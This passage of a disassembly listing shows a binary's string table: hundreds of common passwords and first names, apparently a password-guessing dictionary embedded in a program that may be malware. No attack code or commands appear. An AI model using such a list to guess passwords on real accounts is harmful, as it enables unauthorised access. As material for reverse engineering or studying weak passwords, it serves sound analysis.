aMagic		db 'magic',0            ; DATA XREF: seg002:0042D234o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: seg002:0042D230o
		align 4
aMacro		db 'macro',0            ; DATA XREF: seg002:0042D22Co
		align 4
aMack		db 'mack',0             ; DATA XREF: seg002:0042D228o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: seg002:0042D224o
		align 4
aMachine	db 'machine',0          ; DATA XREF: seg002:0042D220o
aLynne		db 'lynne',0            ; DATA XREF: seg002:0042D21Co
		align 4
aLynn		db 'lynn',0             ; DATA XREF: seg002:0042D218o
		align 10h
aLust		db 'lust',0             ; DATA XREF: seg002:0042D214o
		align 4
aLuke		db 'luke',0             ; DATA XREF: seg002:0042D210o
		align 10h
aLude		db 'lude',0             ; DATA XREF: seg002:0042D20Co
		align 4
aLucy		db 'lucy',0             ; DATA XREF: seg002:0042D208o
		align 10h
aLucus		db 'lucus',0            ; DATA XREF: seg002:0042D204o
		align 4
aLuck		db 'luck',0             ; DATA XREF: seg002:0042D200o
		align 10h
aLover		db 'lover',0            ; DATA XREF: seg002:0042D1FCo
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: seg002:0042D1F8o
aLouis		db 'louis',0            ; DATA XREF: seg002:0042D1F4o
		align 4
aLoser		db 'loser',0            ; DATA XREF: seg002:0042D1F0o
		align 10h
aLorraine	db 'lorraine',0         ; DATA XREF: seg002:0042D1ECo
		align 4
aLorin		db 'lorin',0            ; DATA XREF: seg002:0042D1E8o
		align 4
aLori		db 'lori',0             ; DATA XREF: seg002:0042D1E4o
		align 4
aLore		db 'lore',0             ; DATA XREF: seg002:0042D1E0o
		align 4
aLoose		db 'loose',0            ; DATA XREF: seg002:0042D1DCo
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: seg002:0042D1D8o
		align 4
aLois		db 'lois',0             ; DATA XREF: seg002:0042D1D4o
		align 4
aLogout		db 'logout',0           ; DATA XREF: seg002:0042D1D0o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: seg002:0042D1CCo
		align 10h
aLogic		db 'logic',0            ; DATA XREF: seg002:0042D1C8o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: seg002:0042D1C4o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: seg002:0042D1C0o
aLock		db 'lock',0             ; DATA XREF: seg002:0042D1BCo
		align 4
aLoad		db 'load',0             ; DATA XREF: seg002:0042D1B8o
		align 4
aLive		db 'live',0             ; DATA XREF: seg002:0042D1B4o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: seg002:0042D1B0o
		align 10h
aLisp		db 'lisp',0             ; DATA XREF: seg002:0042D1ACo
		align 4
aLisa		db 'lisa',0             ; DATA XREF: seg002:0042D1A8o
		align 10h
aLips		db 'lips',0             ; DATA XREF: seg002:0042D1A4o
		align 4
aLion		db 'lion',0             ; DATA XREF: seg002:0042D1A0o
		align 10h
aLink		db 'link',0             ; DATA XREF: seg002:0042D19Co
		align 4
aLinda		db 'linda',0            ; DATA XREF: seg002:0042D198o
		align 10h
aLimited	db 'limited',0          ; DATA XREF: seg002:0042D194o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: seg002:0042D190o
		align 4
aLima		db 'lima',0             ; DATA XREF: seg002:0042D18Co
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: seg002:0042D188o
		align 4
aLight		db 'light',0            ; DATA XREF: seg002:0042D184o
		align 10h
aLife		db 'life',0             ; DATA XREF: seg002:0042D180o
		align 4
aLicker		db 'licker',0           ; DATA XREF: seg002:0042D17Co
		align 10h
aLick		db 'lick',0             ; DATA XREF: seg002:0042D178o
		align 4
aLibrary	db 'library',0          ; DATA XREF: seg002:0042D174o
aLiberal	db 'liberal',0          ; DATA XREF: seg002:0042D170o
aLexluthe	db 'lexluthe',0         ; DATA XREF: seg002:0042D16Co
		align 4
aLewis		db 'lewis',0            ; DATA XREF: seg002:0042D168o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: seg002:0042D164o
aLeslie		db 'leslie',0           ; DATA XREF: seg002:0042D160o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: seg002:0042D15Co
aLeroy		db 'leroy',0            ; DATA XREF: seg002:0042D158o
		align 4
aLeland		db 'leland',0           ; DATA XREF: seg002:0042D154o
		align 4
aLegal		db 'legal',0            ; DATA XREF: seg002:0042D150o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: seg002:0042D14Co
		align 4
aLeft		db 'left',0             ; DATA XREF: seg002:0042D148o
		align 10h
aLebesgue	db 'lebesgue',0         ; DATA XREF: seg002:0042D144o
		align 4
aLeah		db 'leah',0             ; DATA XREF: seg002:0042D140o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: seg002:0042D13Co
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: seg002:0042D138o
aLava		db 'lava',0             ; DATA XREF: seg002:0042D134o
		align 4
aLaura		db 'laura',0            ; DATA XREF: seg002:0042D130o
		align 4
aLaser		db 'laser',0            ; DATA XREF: seg002:0042D12Co
		align 4
aLarry		db 'larry',0            ; DATA XREF: seg002:0042D128o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: seg002:0042D124o
		align 4
aLara		db 'lara',0             ; DATA XREF: seg002:0042D120o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: seg002:0042D11Co
		align 4
aLana		db 'lana',0             ; DATA XREF: seg002:0042D118o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: seg002:0042D114o
		align 10h
aLambda		db 'lambda',0           ; DATA XREF: seg002:0042D110o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: seg002:0042D10Co
		align 10h
aLadle		db 'ladle',0            ; DATA XREF: seg002:0042D108o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: seg002:0042D104o
		align 10h
aKristy		db 'kristy',0           ; DATA XREF: seg002:0042D100o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: seg002:0042D0FCo
		align 4
aKristin	db 'kristin',0          ; DATA XREF: seg002:0042D0F8o
aKristie	db 'kristie',0          ; DATA XREF: seg002:0042D0F4o
aKristi		db 'kristi',0           ; DATA XREF: seg002:0042D0F0o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: seg002:0042D0ECo
aKrista		db 'krista',0           ; DATA XREF: seg002:0042D0E8o
		align 4
aKnown		db 'known',0            ; DATA XREF: seg002:0042D0E4o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: seg002:0042D0E0o
		align 10h
aKnight		db 'knight',0           ; DATA XREF: seg002:0042D0DCo
		align 4
aKnife		db 'knife',0            ; DATA XREF: seg002:0042D0D8o
		align 10h
aKlingon	db 'klingon',0          ; DATA XREF: seg002:0042D0D4o
aKitten		db 'kitten',0           ; DATA XREF: seg002:0042D0D0o
		align 10h
aKissmyas	db 'kissmyas',0         ; DATA XREF: seg002:0042D0CCo
		align 4
aKiss		db 'kiss',0             ; DATA XREF: seg002:0042D0C8o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: seg002:0042D0C4o
		align 10h
aKirk		db 'kirk',0             ; DATA XREF: seg002:0042D0C0o
		align 4
aKing		db 'king',0             ; DATA XREF: seg002:0042D0BCo
		align 10h
aKimberly	db 'kimberly',0         ; DATA XREF: seg002:0042D0B8o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: seg002:0042D0B4o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: seg002:0042D0B0o
		align 10h
aKill		db 'kill',0             ; DATA XREF: seg002:0042D0ACo
		align 4
aKids		db 'kids',0             ; DATA XREF: seg002:0042D0A8o
		align 10h
aKeyword	db 'keyword',0          ; DATA XREF: seg002:0042D0A4o
aKeyin		db 'keyin',0            ; DATA XREF: seg002:0042D0A0o
		align 10h
aKeybord	db 'keybord',0          ; DATA XREF: seg002:0042D09Co
aKewl		db 'kewl',0             ; DATA XREF: seg002:0042D098o
		align 10h
aKevin		db 'kevin',0            ; DATA XREF: seg002:0042D094o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: seg002:0042D090o
		align 10h
aKerrie		db 'kerrie',0           ; DATA XREF: seg002:0042D08Co
		align 4
aKerri		db 'kerri',0            ; DATA XREF: seg002:0042D088o
		align 10h
aKernel		db 'kernel',0           ; DATA XREF: seg002:0042D084o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: seg002:0042D080o
		align 10h
aKeri		db 'keri',0             ; DATA XREF: seg002:0042D07Co
		align 4
aKelly		db 'kelly',0            ; DATA XREF: seg002:0042D078o
		align 10h
aKatrina	db 'katrina',0          ; DATA XREF: seg002:0042D074o
aKatina		db 'katina',0           ; DATA XREF: seg002:0042D070o
		align 10h
aKathy		db 'kathy',0            ; DATA XREF: seg002:0042D06Co
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: seg002:0042D068o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: seg002:0042D064o
		align 10h
aKate		db 'kate',0             ; DATA XREF: seg002:0042D060o
		align 4
aKatana		db 'katana',0           ; DATA XREF: seg002:0042D05Co
		align 10h
aKarina		db 'karina',0           ; DATA XREF: seg002:0042D058o
		align 4
aKarie		db 'karie',0            ; DATA XREF: seg002:0042D054o
		align 10h
aKaren		db 'karen',0            ; DATA XREF: seg002:0042D050o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: seg002:0042D04Co
		align 10h
aJupiter	db 'jupiter',0          ; DATA XREF: seg002:0042D048o
aJune		db 'june',0             ; DATA XREF: seg002:0042D044o
		align 10h
aJuliet		db 'juliet',0           ; DATA XREF: seg002:0042D040o
		align 4
aJulie		db 'julie',0            ; DATA XREF: seg002:0042D03Co
		align 10h
aJulia		db 'julia',0            ; DATA XREF: seg002:0042D038o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: seg002:0042D034o
		align 10h
aJuggle		db 'juggle',0           ; DATA XREF: seg002:0042D030o
		align 4
aJudy		db 'judy',0             ; DATA XREF: seg002:0042D02Co
		align 10h
aJudith		db 'judith',0           ; DATA XREF: seg002:0042D028o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: seg002:0042D024o
		align 10h
aJournal	db 'journal',0          ; DATA XREF: seg002:0042D020o
aJoshua		db 'joshua',0           ; DATA XREF: seg002:0042D01Co
		align 10h
aJoseph		db 'joseph',0           ; DATA XREF: seg002:0042D018o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: seg002:0042D014o
		align 10h
aJohndoe	db 'johndoe',0          ; DATA XREF: seg002:0042D010o
aJohn		db 'john',0             ; DATA XREF: seg002:0042D00Co
		align 10h
aJody		db 'jody',0             ; DATA XREF: seg002:0042D008o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: seg002:0042D004o
		align 10h
aJixian		db 'jixian',0           ; DATA XREF: seg002:0042D000o
		align 4
aJill		db 'jill',0             ; DATA XREF: seg002:0042CFFCo
		align 10h
aJewelry	db 'jewelry',0          ; DATA XREF: seg002:0042CFF8o
aJester		db 'jester',0           ; DATA XREF: seg002:0042CFF4o
		align 10h
aJessica	db 'jessica',0          ; DATA XREF: seg002:0042CFF0o
aJerusale	db 'jerusale',0         ; DATA XREF: seg002:0042CFECo
		align 4
aJerry		db 'jerry',0            ; DATA XREF: seg002:0042CFE8o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: seg002:0042CFE4o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: seg002:0042CFE0o
		align 10h
aJenni		db 'jenni',0            ; DATA XREF: seg002:0042CFDCo
		align 4
aJeff		db 'jeff',0             ; DATA XREF: seg002:0042CFD8o
		align 10h
aJeanne		db 'jeanne',0           ; DATA XREF: seg002:0042CFD4o
		align 4
aJean		db 'jean',0             ; DATA XREF: seg002:0042CFD0o
		align 10h
aJazz		db 'jazz',0             ; DATA XREF: seg002:0042CFCCo
		align 4
aJava		db 'java',0             ; DATA XREF: seg002:0042CFC8o
		align 10h
aJasmin		db 'jasmin',0           ; DATA XREF: seg002:0042CFC4o
		align 4
aJapan		db 'japan',0            ; DATA XREF: seg002:0042CFC0o
		align 10h
aJanie		db 'janie',0            ; DATA XREF: seg002:0042CFBCo
		align 4
aJanice		db 'janice',0           ; DATA XREF: seg002:0042CFB8o
		align 10h
aJanet		db 'janet',0            ; DATA XREF: seg002:0042CFB4o
		align 4
aJane		db 'jane',0             ; DATA XREF: seg002:0042CFB0o
		align 10h
aJail		db 'jail',0             ; DATA XREF: seg002:0042CFACo
		align 4
aJackie		db 'jackie',0           ; DATA XREF: seg002:0042CFA8o
		align 10h
aIsis		db 'isis',0             ; DATA XREF: seg002:0042CFA4o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: seg002:0042CFA0o
		align 4
aIrene		db 'irene',0            ; DATA XREF: seg002:0042CF9Co
		align 4
aInvent		db 'invent',0           ; DATA XREF: seg002:0042CF98o
		align 4
aInteger	db 'integer',0          ; DATA XREF: seg002:0042CF94o
aInside		db 'inside',0           ; DATA XREF: seg002:0042CF90o
		align 4
aInput		db 'input',0            ; DATA XREF: seg002:0042CF8Co
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: seg002:0042CF88o
		align 4
aInna		db 'inna',0             ; DATA XREF: seg002:0042CF84o
		align 10h
aIngrid		db 'ingrid',0           ; DATA XREF: seg002:0042CF80o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: seg002:0042CF7Co
aIngres		db 'ingres',0           ; DATA XREF: seg002:0042CF78o
		align 4
aIndians	db 'indians',0          ; DATA XREF: seg002:0042CF74o
aIndiana	db 'indiana',0          ; DATA XREF: seg002:0042CF70o
aIndian		db 'indian',0           ; DATA XREF: seg002:0042CF6Co
		align 10h
aIndia		db 'india',0            ; DATA XREF: seg002:0042CF68o
		align 4
aInclude	db 'include',0          ; DATA XREF: seg002:0042CF64o
aImperial	db 'imperial',0         ; DATA XREF: seg002:0042CF60o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: seg002:0042CF5Co
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: seg002:0042CF58o
		align 4
aImage		db 'image',0            ; DATA XREF: seg002:0042CF54o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: seg002:0042CF50o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: seg002:0042CF4Co
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: seg002:0042CF48o
		align 10h
aHyper		db 'hyper',0            ; DATA XREF: seg002:0042CF44o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: seg002:0042CF40o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: seg002:0042CF3Co
		align 10h
aHunter		db 'hunter',0           ; DATA XREF: seg002:0042CF38o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: seg002:0042CF34o
		align 10h
aHttp_0		db 'http',0             ; DATA XREF: seg002:0042CF30o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: seg002:0042CF2Co
		align 10h
aHotdog		db 'hotdog',0           ; DATA XREF: seg002:0042CF28o
		align 4
aHost		db 'host',0             ; DATA XREF: seg002:0042CF24o
		align 10h
aHorus		db 'horus',0            ; DATA XREF: seg002:0042CF20o
		align 4
aHorse		db 'horse',0            ; DATA XREF: seg002:0042CF1Co
		align 10h
aHorror		db 'horror',0           ; DATA XREF: seg002:0042CF18o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: seg002:0042CF14o
		align 4
aHorny		db 'horny',0            ; DATA XREF: seg002:0042CF10o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: seg002:0042CF0Co
aHooker		db 'hooker',0           ; DATA XREF: seg002:0042CF08o
		align 4
aHoney		db 'honey',0            ; DATA XREF: seg002:0042CF04o
		align 4
aHomework	db 'homework',0         ; DATA XREF: seg002:0042CF00o
		align 10h
aHomer		db 'homer',0            ; DATA XREF: seg002:0042CEFCo
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: seg002:0042CEF8o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: seg002:0042CEF4o
		align 10h
aHolly		db 'holly',0            ; DATA XREF: seg002:0042CEF0o
		align 4
aHole		db 'hole',0             ; DATA XREF: seg002:0042CEECo
		align 10h
aHits		db 'hits',0             ; DATA XREF: seg002:0042CEE8o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: seg002:0042CEE4o
		align 10h
aHighland	db 'highland',0         ; DATA XREF: seg002:0042CEE0o
		align 4
aHigh		db 'high',0             ; DATA XREF: seg002:0042CEDCo
		align 4
aHidden		db 'hidden',0           ; DATA XREF: seg002:0042CED8o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: seg002:0042CED4o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: seg002:0042CED0o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: seg002:0042CECCo
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: seg002:0042CEC8o
aHeroin		db 'heroin',0           ; DATA XREF: seg002:0042CEC4o
		align 10h
aHero		db 'hero',0             ; DATA XREF: seg002:0042CEC0o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: seg002:0042CEBCo
aHerb		db 'herb',0             ; DATA XREF: seg002:0042CEB8o
		align 4
aHelp		db 'help',0             ; DATA XREF: seg002:0042CEB4o
		align 10h
aHello		db 'hello',0            ; DATA XREF: seg002:0042CEB0o
		align 4
aHell		db 'hell',0             ; DATA XREF: seg002:0042CEACo
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: seg002:0042CEA8o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: seg002:0042CEA4o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: seg002:0042CEA0o
		align 10h
aHeather	db 'heather',0          ; DATA XREF: seg002:0042CE9Co
aHeathen	db 'heathen',0          ; DATA XREF: seg002:0042CE98o
aHeat		db 'heat',0             ; DATA XREF: seg002:0042CE94o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: seg002:0042CE90o
		align 4
aHead		db 'head',0             ; DATA XREF: seg002:0042CE8Co
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: seg002:0042CE88o
		align 4
aHaven		db 'haven',0            ; DATA XREF: seg002:0042CE84o
		align 4
aHate		db 'hate',0             ; DATA XREF: seg002:0042CE80o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: seg002:0042CE7Co
		align 4
aHarold		db 'harold',0           ; DATA XREF: seg002:0042CE78o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: seg002:0042CE74o
aHarddriv	db 'harddriv',0         ; DATA XREF: seg002:0042CE70o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: seg002:0042CE6Co
		align 4
aHard		db 'hard',0             ; DATA XREF: seg002:0042CE68o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: seg002:0042CE64o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: seg002:0042CE60o
aHandily	db 'handily',0          ; DATA XREF: seg002:0042CE5Co
aHandel		db 'handel',0           ; DATA XREF: seg002:0042CE58o
		align 10h
aHamster	db 'hamster',0          ; DATA XREF: seg002:0042CE54o
aHamlet		db 'hamlet',0           ; DATA XREF: seg002:0042CE50o
		align 10h
aHallowee	db 'hallowee',0         ; DATA XREF: seg002:0042CE4Co
		align 4
aHair		db 'hair',0             ; DATA XREF: seg002:0042CE48o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: seg002:0042CE44o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: seg002:0042CE40o
		align 4
aHack		db 'hack',0             ; DATA XREF: seg002:0042CE3Co
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: seg002:0042CE38o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: seg002:0042CE34o
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: seg002:0042CE30o
		align 4
aGuess		db 'guess',0            ; DATA XREF: seg002:0042CE2Co
		align 10h
aGucci		db 'gucci',0            ; DATA XREF: seg002:0042CE28o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: seg002:0042CE24o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: seg002:0042CE20o
aGroup		db 'group',0            ; DATA XREF: seg002:0042CE1Co
		align 4
aGreen		db 'green',0            ; DATA XREF: seg002:0042CE18o
		align 4
aGreat		db 'great',0            ; DATA XREF: seg002:0042CE14o
		align 4
aGrant		db 'grant',0            ; DATA XREF: seg002:0042CE10o
		align 4
aGrand		db 'grand',0            ; DATA XREF: seg002:0042CE0Co
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: seg002:0042CE08o
		align 4
aGraham		db 'graham',0           ; DATA XREF: seg002:0042CE04o
		align 4
aGrades		db 'grades',0           ; DATA XREF: seg002:0042CE00o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: seg002:0042CDFCo
		align 4
aGouge		db 'gouge',0            ; DATA XREF: seg002:0042CDF8o
		align 10h
aGosling	db 'gosling',0          ; DATA XREF: seg002:0042CDF4o
aGorges		db 'gorges',0           ; DATA XREF: seg002:0042CDF0o
		align 10h
aGorgeous	db 'gorgeous',0         ; DATA XREF: seg002:0042CDECo
		align 4
aGood		db 'good',0             ; DATA XREF: seg002:0042CDE8o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: seg002:0042CDE4o
		align 4
aGolf		db 'golf',0             ; DATA XREF: seg002:0042CDE0o
		align 4
aGolden		db 'golden',0           ; DATA XREF: seg002:0042CDDCo
		align 4
aGold		db 'gold',0             ; DATA XREF: seg002:0042CDD8o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: seg002:0042CDD4o
aGirl		db 'girl',0             ; DATA XREF: seg002:0042CDD0o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: seg002:0042CDCCo
		align 4
aGina		db 'gina',0             ; DATA XREF: seg002:0042CDC8o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: seg002:0042CDC4o
		align 10h
aGibson		db 'gibson',0           ; DATA XREF: seg002:0042CDC0o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: seg002:0042CDBCo
		align 10h
aGertrude	db 'gertrude',0         ; DATA XREF: seg002:0042CDB8o
		align 4
aGerm		db 'germ',0             ; DATA XREF: seg002:0042CDB4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: seg002:0042CDB0o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: seg002:0042CDACo
		align 4
aGatt		db 'gatt',0             ; DATA XREF: seg002:0042CDA8o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: seg002:0042CDA4o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: seg002:0042CDA0o
aGarfield	db 'garfield',0         ; DATA XREF: seg002:0042CD9Co
		align 4
aGardner	db 'gardner',0          ; DATA XREF: seg002:0042CD98o
aGames		db 'games',0            ; DATA XREF: seg002:0042CD94o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: seg002:0042CD90o
aFungible	db 'fungible',0         ; DATA XREF: seg002:0042CD8Co
		align 10h
aFunction	db 'function',0         ; DATA XREF: seg002:0042CD88o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: seg002:0042CD84o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: seg002:0042CD80o
aFuckme		db 'fuckme',0           ; DATA XREF: seg002:0042CD7Co
		align 4
aFucking	db 'fucking',0          ; DATA XREF: seg002:0042CD78o
aFucker		db 'fucker',0           ; DATA XREF: seg002:0042CD74o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: seg002:0042CD70o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: seg002:0042CD6Co
		align 4
aFrog		db 'frog',0             ; DATA XREF: seg002:0042CD68o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: seg002:0042CD64o
		align 4
aFriends	db 'friends',0          ; DATA XREF: seg002:0042CD60o
aFriend		db 'friend',0           ; DATA XREF: seg002:0042CD5Co
		align 4
aFriday		db 'friday',0           ; DATA XREF: seg002:0042CD58o
		align 10h
aFrench		db 'french',0           ; DATA XREF: seg002:0042CD54o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: seg002:0042CD50o
aFree		db 'free',0             ; DATA XREF: seg002:0042CD4Co
		align 4
aFred		db 'fred',0             ; DATA XREF: seg002:0042CD48o
		align 10h
aFreak		db 'freak',0            ; DATA XREF: seg002:0042CD44o
		align 4
aFrank		db 'frank',0            ; DATA XREF: seg002:0042CD40o
		align 10h
aFrance		db 'france',0           ; DATA XREF: seg002:0042CD3Co
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: seg002:0042CD38o
aFourier	db 'fourier',0          ; DATA XREF: seg002:0042CD34o
aForsythe	db 'forsythe',0         ; DATA XREF: seg002:0042CD30o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: seg002:0042CD2Co
		align 10h
aFormat		db 'format',0           ; DATA XREF: seg002:0042CD28o
		align 4
aForm		db 'form',0             ; DATA XREF: seg002:0042CD24o
		align 10h
aForever	db 'forever',0          ; DATA XREF: seg002:0042CD20o
aForesigh	db 'foresigh',0         ; DATA XREF: seg002:0042CD1Co
		align 4
aFord		db 'ford',0             ; DATA XREF: seg002:0042CD18o
		align 4
aForce		db 'force',0            ; DATA XREF: seg002:0042CD14o
		align 4
aFootball	db 'football',0         ; DATA XREF: seg002:0042CD10o
		align 10h
aFoolproo	db 'foolproo',0         ; DATA XREF: seg002:0042CD0Co
		align 4
aFool		db 'fool',0             ; DATA XREF: seg002:0042CD08o
		align 4
aFood		db 'food',0             ; DATA XREF: seg002:0042CD04o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: seg002:0042CD00o
aFlower		db 'flower',0           ; DATA XREF: seg002:0042CCFCo
		align 4
aFlorida	db 'florida',0          ; DATA XREF: seg002:0042CCF8o
aFloat		db 'float',0            ; DATA XREF: seg002:0042CCF4o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: seg002:0042CCF0o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: seg002:0042CCECo
aFirewall	db 'firewall',0         ; DATA XREF: seg002:0042CCE8o
		align 4
aFire		db 'fire',0             ; DATA XREF: seg002:0042CCE4o
		align 10h
aFinite		db 'finite',0           ; DATA XREF: seg002:0042CCE0o
		align 4
aFile		db 'file',0             ; DATA XREF: seg000:0040EB64o
					; seg000:0040EBDAo ...
		align 10h
aFight		db 'fight',0            ; DATA XREF: seg002:0042CCD8o
		align 4
aField		db 'field',0            ; DATA XREF: seg002:0042CCD4o
		align 10h
aFidelity	db 'fidelity',0         ; DATA XREF: seg002:0042CCD0o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: seg002:0042CCCCo
aFermat		db 'fermat',0           ; DATA XREF: seg002:0042CCC8o
		align 4
aFender		db 'fender',0           ; DATA XREF: seg002:0042CCC4o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: seg002:0042CCC0o
aFeds		db 'feds',0             ; DATA XREF: seg002:0042CCBCo
		align 4
aFear		db 'fear',0             ; DATA XREF: seg002:0042CCB8o
		align 4
aFast		db 'fast',0             ; DATA XREF: seg002:0042CCB4o
		align 4
aFart		db 'fart',0             ; DATA XREF: seg002:0042CCB0o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: seg002:0042CCACo
aFarad		db 'farad',0            ; DATA XREF: seg002:0042CCA8o
		align 4
aFamily		db 'family',0           ; DATA XREF: seg002:0042CCA4o
		align 4
aFalse		db 'false',0            ; DATA XREF: seg002:0042CCA0o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: seg002:0042CC9Co
		align 4
aFaith		db 'faith',0            ; DATA XREF: seg002:0042CC98o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: seg002:0042CC94o
aExtensio	db 'extensio',0         ; DATA XREF: seg002:0042CC90o
		align 10h
aExplosiv	db 'explosiv',0         ; DATA XREF: seg002:0042CC8Co
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: seg002:0042CC88o
		align 4
aExplore	db 'explore',0          ; DATA XREF: seg002:0042CC84o
aExplode	db 'explode',0          ; DATA XREF: seg002:0042CC80o
aExpert		db 'expert',0           ; DATA XREF: seg002:0042CC7Co
		align 10h
aEvelyn		db 'evelyn',0           ; DATA XREF: seg002:0042CC78o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: seg002:0042CC74o
		align 10h
aEternity	db 'eternity',0         ; DATA XREF: seg002:0042CC70o
		align 4
aEstate		db 'estate',0           ; DATA XREF: seg002:0042CC6Co
		align 4
aEstablis	db 'establis',0         ; DATA XREF: seg002:0042CC68o
		align 10h
aErsatz		db 'ersatz',0           ; DATA XREF: seg002:0042CC64o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: seg002:0042CC60o
		align 10h
aErin		db 'erin',0             ; DATA XREF: seg002:0042CC5Co
		align 4
aErika		db 'erika',0            ; DATA XREF: seg002:0042CC58o
		align 10h
aErica		db 'erica',0            ; DATA XREF: seg002:0042CC54o
		align 4
aEric		db 'eric',0             ; DATA XREF: seg002:0042CC50o
		align 10h
aErenity	db 'erenity',0          ; DATA XREF: seg002:0042CC4Co
aEnzyme		db 'enzyme',0           ; DATA XREF: seg002:0042CC48o
		align 10h
aEnterpri	db 'enterpri',0         ; DATA XREF: seg002:0042CC44o
		align 4
aEnter		db 'enter',0            ; DATA XREF: seg002:0042CC40o
		align 4
aEnglish	db 'english',0          ; DATA XREF: seg002:0042CC3Co
aEngland	db 'england',0          ; DATA XREF: seg002:0042CC38o
aEngineer	db 'engineer',0         ; DATA XREF: seg002:0042CC34o
		align 10h
aEngine		db 'engine',0           ; DATA XREF: seg002:0042CC30o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: seg002:0042CC2Co
		align 10h
aEmmanuel	db 'emmanuel',0         ; DATA XREF: seg002:0042CC28o
		align 4
